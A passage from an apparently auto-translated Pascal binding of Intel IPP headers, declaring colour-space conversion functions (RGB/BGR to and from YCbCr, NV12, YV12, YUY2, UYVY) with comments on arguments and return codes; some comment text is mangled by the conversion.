Note that for the YCbCr-to-equations : RGB ; the RGB values must be saturated
at the 0 and 255 levels due to occasional excursions outside the nominal
YCbCr ranges.
Note that two-planar YCbCr420 image is also known as NV12 format and YCrCb420 as NV21.
ippiRGBToCbYCr422Gamma_8u_C3C2R function additionally performs gamma-correction, there is
sample down filter(1/4,1/2,1/4).
}
function ippiRGBToYCbCr420_8u_C3P2R( pRGB : Ipp8uPtr ; rgbStep : Int32 ; pY : Ipp8uPtr ; YStep : Int32 ; pCbCr : Ipp8uPtr ; CbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCbCr420_8u_C4P2R( pRGB : Ipp8uPtr ; rgbStep : Int32 ; pY : Ipp8uPtr ; YStep : Int32 ; pCbCr : Ipp8uPtr ; CbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCbCr420_8u_C3P2R( pRGB : Ipp8uPtr ; rgbStep : Int32 ; pY : Ipp8uPtr ; YStep : Int32 ; pCbCr : Ipp8uPtr ; CbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCbCr420_8u_AC4P2R( pRGB : Ipp8uPtr ; rgbStep : Int32 ; pY : Ipp8uPtr ; YStep : Int32 ; pCbCr : Ipp8uPtr ; CbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToRGB_8u_P2C3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToRGB_8u_P2C4R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiYCbCr420ToBGR_8u_P2C3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToBGR_8u_P2C4R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiBGRToCbYCr422_8u_AC4C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCbYCr422ToBGR_8u_C2C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiYCbCr411ToBGR_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr411ToBGR_8u_P3C4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiCbYCr422ToRGB_8u_C2C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToCbYCr422Gamma_8u_C3C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToCbYCr422_8u_C3C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr422ToRGB_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCbCr422_8u_C3C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr422ToRGB_8u_C2C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr422ToRGB_8u_C2C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiRGBToYCbCr422_8u_P3C2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr422ToRGB_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToBGR_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToRGB_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCbCr420_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCrCb422_8u_C3C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb422ToRGB_8u_C2C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb422ToBGR_8u_C2C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb422ToRGB_8u_C2C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiYCrCb422ToBGR_8u_C2C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiRGBToYCrCb422_8u_P3C2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb422ToRGB_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToBGR_8u_C2C4R / ippiYCbCr422ToBGR_8u_C2C3R
Purpose: Converts a YUY2 image to the BGRA / RGB24 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 or if roiSize.height < 1
Arguments:
pSrc pointer to the source image
srcStep step for the source image
pDst pointer to the destination image
dstStep step for the destination image
roiSize region of interest to be processed, in pixels
}
function ippiYCbCr422ToBGR_8u_C2C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiYCbCr422ToBGR_8u_C2C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCrToBGR_8u_P3C4R / ippiYCbCrToBGR_8u_P3C3R
Purpose: Converts a P444 image to the BGRA / RGB24 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4 or if roiSize.height < 1
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pDst pointer to the destination image
dstStep step for the destination image
roiSize region of interest to be processed, in pixels
}
function ippiYCbCrToBGR_8u_P3C4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiYCbCrToBGR_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiBGRToYCbCr411_8u_C3P3R/ippiBGRToYCbCr411_8u_AC4P3R/ippiBGR565ToYCbCr411_16u8u_C3P3R/ippiBGR555ToYCbCr411_16u8u_C3P3R
Purpose: Converts a RGB24/RGBA/RGB565/RGB565 image to the P411 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsSizeErr if roiSize.width < 4 or if roiSize.height < 1
Arguments:
pSrc Pointer to the source image
srcStep Step through the source image
pDst An array of pointers to separate destination color planes.
dstStep An array of step in bytes through the destination planes
roiSize region of interest to be processed, in pixels
}
function ippiBGRToYCbCr411_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCbCr411_8u_AC4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiBGRToYCbCr422_8u_C3P3R/ippiBGRToYCbCr422_8u_AC4P3R/ippiBGR565ToYCbCr422_16u8u_C3P3R/ippiBGR555ToYCbCr422_16u8u_C3P3R
Purpose: Converts a RGB24/RGBA/RGB565/RGB565 image to the P422 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 or if roiSize.height < 1
Arguments:
pSrc Pointer to the source image
srcStep Step through the source image
pDst An array of pointers to separate destination color planes.
dstStep An array of step in bytes through the destination planes
roiSize region of interest to be processed, in pixels
}
function ippiBGRToYCbCr422_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCbCr422_8u_AC4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiBGRToYCbCr420_8u_C3P3R/ippiBGRToYCbCr420_8u_AC4P3R/ippiBGR565ToYCbCr420_16u8u_C3P3R/ippiBGR555ToYCbCr420_16u8u_C3P3R
Purpose: Converts a RGB24/RGBA/RGB565/RGB565 image to the IYUV image
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 or if roiSize.height < 0
Arguments:
pSrc Pointer to the source image
srcStep Step through the source image
pDst An array of pointers to separate destination color planes.
dstStep An array of step in bytes through the destination planes
roiSize region of interest to be processed, in pixels
}
function ippiBGRToYCbCr420_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCbCr420_8u_AC4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiBGRToYCbCr422_8u_C3C2R/ippiBGRToYCbCr422_8u_AC4C2R/ippiBGR555ToYCbCr422_16u8u_C3C2R/ippiBGR565ToYCbCr422_16u8u_C3C2R
Purpose: Converts a RGB24/RGBA/RGB565/RGB565 image to the YUY2 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 or if roiSize.height < 1
Arguments:
pSrc Pointer to the source image
srcStep Step through the source image
pDst An array of pointers to separate destination color planes.
dstStep An array of step in bytes through the destination planes
roiSize region of interest to be processed, in pixels
}
function ippiBGRToYCbCr422_8u_C3C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCbCr422_8u_AC4C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiBGRToYCrCb420_8u_C3P3R/ippiBGRToYCrCb420_8u_AC4P3R/ippiBGR555ToYCrCb420_16u8u_C3P3R/ippiBGR565ToYCrCb420_16u8u_C3P3R
Purpose: Converts a RGB24/RGBA/RGB565/RGB565 image to the YV12 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 or if roiSize.height < 2
Arguments:
pSrc Pointer to the source image
srcStep Step through the source image
pDst An array of pointers to separate destination color planes.
dstStep An array of step in bytes through the destination planes
roiSize region of interest to be processed, in pixels
}
function ippiBGRToYCrCb420_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToYCrCb420_8u_AC4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToYCrCb420_8u_AC4P3R
Purpose: Converts a RGBA image to the YV12 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsDoubleSize Indicates a warning if roiSize is not a multiple of 2.
Arguments:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starts of consecutive lines in the source image.
pDst An array of pointers to ROI in the separate planes of the destination image.
dstStep Distance in bytes between starts of consecutive lines in the destination image.
roiSize Size of the source and destination ROI in pixels.
}
function ippiRGBToYCrCb420_8u_AC4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCrCb420ToRGB_8u_P3C4R and ippiYCbCr420ToBGR_8u_P3C4R
Purpose: Converts a YV12 image to the a RGBA image and converts a IYUV image to the a BGRA
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsDoubleSize Indicates a warning if roiSize is not a multiple of 2.
Arguments:
pSrc An array of pointers to ROI in separate planes of the source image.
srcStep An array of distances in bytes between starts of consecutive lines in the source image planes.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starts of consecutive lines in the destination image.
roiSize Size of the source and destination ROI in pixels.
aval Constant value to create the fourth channel.
}
function ippiYCbCr420ToBGR_8u_P3C4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiYCrCb420ToRGB_8u_P3C4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCrCb420ToRGB_8u_P2C4R, ippiYCrCb420ToBGR_8u_P2C4R, ippiYCrCb420ToRGB_8u_P2C3R, ippiYCrCb420ToBGR_8u_P2C3R
Purpose: Converts NV21 two-plane image to RGBA/BGRA/RGB/BGR image
Return:
ippStsNoErr No errors
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr roiSize has field with zero or negative value
ippStsDoubleSize Indicates a warning if roiSize is not a multiple of 2.
Arguments:
pSrcY Pointer to the source image Y plane.
srcYStep Step through the source image Y plane.
pSrcCrCb Pointer to the source image CrCb plane.
srcCrCbStep Step through the source image CrCb plane.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starts of consecutive lines in the destination image.
roiSize Size of the source and destination ROI in pixels.
aval Constant value to create the fourth channel.
}
function ippiYCrCb420ToRGB_8u_P2C4R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCrCb : Ipp8uPtr ; srcCrCbStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiYCrCb420ToBGR_8u_P2C4R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCrCb : Ipp8uPtr ; srcCrCbStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
function ippiYCrCb420ToRGB_8u_P2C3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCrCb : Ipp8uPtr ; srcCrCbStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb420ToBGR_8u_P2C3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCrCb : Ipp8uPtr ; srcCrCbStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToYCbCr_8u_AC4P3R and ippiRGBToYCbCr_8u_C3P3R
Purpose: Converts a RGBA and RGB image to the YUV 4:4:4 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
Arguments:
pSrc Pointer to the source image ROI for pixel-order image. An array of pointers to ROI in each separate source color planes for planar images.
srcStep Distance in bytes between starts of consecutive lines in the source image.
pDst Pointer to the destination image ROI. An array of pointers to ROI in the separate destination color planes for planar images.
dstStep Distance in bytes between starts of consecutive lines in the destination image.
roiSize Size of the source and destination ROI in pixels.
}
function ippiRGBToYCbCr_8u_AC4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCbCr_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCrToRGB_8u_P3C4R
Purpose: Converts a YUV 4:4:4 image to the a RGBA image
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
Arguments:
pSrc An array of pointers to ROI in each separate source color planes.
srcStep Distance in bytes between starts of consecutive lines in the source image.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starts of consecutive lines in the destination image.
roiSize Size of the source and destination ROI in pixels.
aval Constant value to create the fourth channel.
}
function ippiYCbCrToRGB_8u_P3C4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422_8u_P3C2R
Purpose: Converts 422 planar image to YUY2
Name: ippiYCbCr422ToCbYCr422_8u_P3C2R
Purpose: Converts the P422 image to UYVY image
Returns:
ippStsNoErr OK
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr Width of first plain 422-image less than 2(4)
or height equal zero
Parameters:
pSrc[3] Array of pointers to the source image planes
srcStep[3] Array of steps through the source image planes
pDst[3] Array of pointers to the destination image planes
dstStep[3] Array of steps through the destination image planes
pSrc Pointer to the source pixel-order image
srcStep Step through the source pixel-order image
pDst Pointer to the destination pixel-order image
dstStep Step through the destination pixel-order image
roiSize Size of the ROI
}
function ippiYCbCr422_8u_P3C2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr422ToCbYCr422_8u_P3C2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCrCb420ToBGR_Filter_8u_P3C4R
Purpose: Converts a YV12 image to the RGB32 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 or if roiSize.height < 2
ippStsDoubleSize sizes of image is not multiples of 2
Arguments:
pDst Pointer to the destination image
dstStep Step through the destination image
pSrc An array of pointers to separate source color planes.
srcStep An array of step in bytes through the source planes
roiSize Region of interest to be processed, in pixels
aval Constant value to create the fourth channel.
}
function ippiYCrCb420ToBGR_Filter_8u_P3C4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiJoin420_8u_P2C2R, ippiJoin420_Filter_8u_P2C2R
Purpose: Converts 420 two-plane image to 2-channel pixel-image : order ;
ippiJoin420_Filter additionally performs deinterlace filtering NV12 to YUY2
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrcY Pointer to the source image Y plane.
srcYStep Step through the source image Y plane.
pSrcCbCr Pointer to the source image interleaved chrominance plane.
srcCbCrStep Step through the source image CbCr plane.
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of ROI : the ; height and width should be multiple of 2.
layout Slice layout (for deinterlace filter).
Possible values:
IPP_UPPER - the first slice.
IPP_CENTER - the middle slices.
IPP_LOWER - the last slice.
IPP_LOWER && IPP_UPPER && IPP_CENTER - image is not sliced.
Notes:
Source 4:2:0 two-plane image format ( NV12 ):
all Y (pSrcY) samples are found first in memory as an array of
unsigned char with an even number of lines memory alignment),
followed immediately by an array(pSrcCbCr) of unsigned char
containing interleaved U and V samples (such that if addressed as a little-endian
type : WORD ; U would be in the LSBs and V would be in the MSBs).
Sequence of samples in the destination 4:2:2 pixel-order two-channel image (YUY2):
Y0U0Y1V0,Y2U1Y3V1,...
The function ippiJoin420_Filter_8u_P2C2R usually operates on the sliced images
( the height of slices should be a multiple of 16).
}
function ippiYCbCr420ToYCbCr422_8u_P2C2R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToYCbCr422_Filter_8u_P2C2R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; layout : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name:
ippiYCbCr420ToYCrCb420_Filter_8u_P2P3R
ippiYCbCr420ToYCrCb420_8u_P2P3R
formely known ippiSplit420_8u_P2P3R : as ; ippiSplit420_Filter_8u_P2P3R
Purpose: Converts NV12 two-plane image to YV12 three-plane image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrcY Pointer to the source image Y plane.
srcYStepY Step through the source image Y plane.
pSrcCbCr Pointer to the source image CbCr plane.
srcCbCrStep Step through the source image CbCr plane.
pDst[3] Array of pointers to the destination image planes
dstStep[3] Array of steps through the destination image planes
roiSize Size of ROI : the ; should be multiple of 2.
layout Slice layout (for deinterlace filter).
Possible values:
IPP_UPPER - the first slice.
IPP_CENTER - the middle slices.
IPP_LOWER - the last slice.
IPP_LOWER && IPP_UPPER && IPP_CENTER - image is not sliced.
Notes:
Source 4:2:0 two-plane image format (NV12):
all Y (pSrcY) samples are found first in memory as an array of
unsigned char with an even number of lines memory alignment),
followed immediately by an array(pSrcCbCr) of unsigned char
containing interleaved U and V samples (such that if addressed as a little-endian
type : WORD ; U would be in the LSBs and V would be in the MSBs).
Destination 4:2:0 three-plane image format(YV12 ):
the order of the pointers to destination images - Y V U.
The function ippiSplit420_Filter_8u_P2P3R usually operates on the sliced images
( the height of slices should be a multiple of 16).
}
function ippiYCbCr420ToYCrCb420_Filter_8u_P2P3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ; layout : Int32 ): IppStatus; _ippapi
function ippiYCbCr420ToYCrCb420_8u_P2P3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYUToYU422_8u_C2P2R, ippiUYToYU422_8u_C2P2R
Purpose: Converts 2-YUY2 : channel ; UYVY images to the 2-plane NV12 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field value less than 2
Parameters:
pDstY Pointer to the destination image Y plane.
dstYStep The step through the destination image Y plane.
pDstCbCr Pointer to the destination image CbCr plane.
dstCbCrStep The step through the destination image CbCr plane.
pSrc Pointer to the source image
srcStep Step through the source image
roiSize Size of ROI : the ; should be multiple of 2.
Notes:
for ippiYUToYU422_8u_C2P2R sequence of bytes in the source image is( YUY2 ):
Y0U0Y1V0,Y2U1Y3V1,...
for ippiUYToYU422_8u_C2P2R sequence of bytes in the destination image is( UYVY ):
U0Y0V0Y1,U1Y2V1Y3,...
Sequence of bytes in the destination image is:
NV12
Y plane Y0Y1Y2Y3
UV plane U0V0U1V1
NV21
Y plane Y0Y1Y2Y3
UV plane U0V0U1V1
}
function ippiYCbCr422ToYCbCr420_8u_C2P2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr422ToYCrCb420_8u_C2P2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCrCb : Ipp8uPtr ; dstUVStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCbYCr422ToYCbCr420_8u_C2P2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCrCb420_8u_C2P3R, ippiCbYCr422ToYCrCb420_8u_C2P3R
Purpose: Converts 2-YUY2 : channel ; UYVY images to the 3-plane YV12 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field value less than 2
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
roiSize Size of ROI : the ; should be multiple of 2.
pDst An array of pointers to separate destination color planes.
dstStep An array of step in bytes through the destination planes
Notes:
for ippiYUToYV422_8u_C2P3R sequence of bytes in the source image is( YUY2 ):
Y0U0Y1V0,Y2U1Y3V1,...
for ippiUYToYV422_8u_C2P3R sequence of bytes in the destination image is( UYVY ):
U0Y0V0Y1,U1Y2V1Y3,...
Sequence of planes in the destination image is( YV12 ): Y V U
}
function ippiYCbCr422ToYCrCb420_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCbYCr422ToYCrCb420_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYUToUY422_8u_C2R, ippiUYToYU422_8u_C2R
Purpose: Converts a 2-channel YUY2 image to the UYVY image and vice versa
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field value less than 2
Parameters:
pSrc Pointer to the source image
srcStep Step through the source i mage
roiSize Size of ROI : the ; roiSize.width should be multiple of 2
pDst Pointer to the destination image
dstStep Step through the destination image
Notes:
sequence of bytes in the source image for ippiYUToUY422_8u_C2R and in the destination image for ippiUYToYU422_8u_C2P2R is( YUY2 ):
Y0U0Y1V0,Y2U1Y3V1,...
sequence of bytes in the destination image for ippiUYToYU422_8u_C2R and in the source image for ippiUYToYU422_8u_C2P2R is( UYVY ):
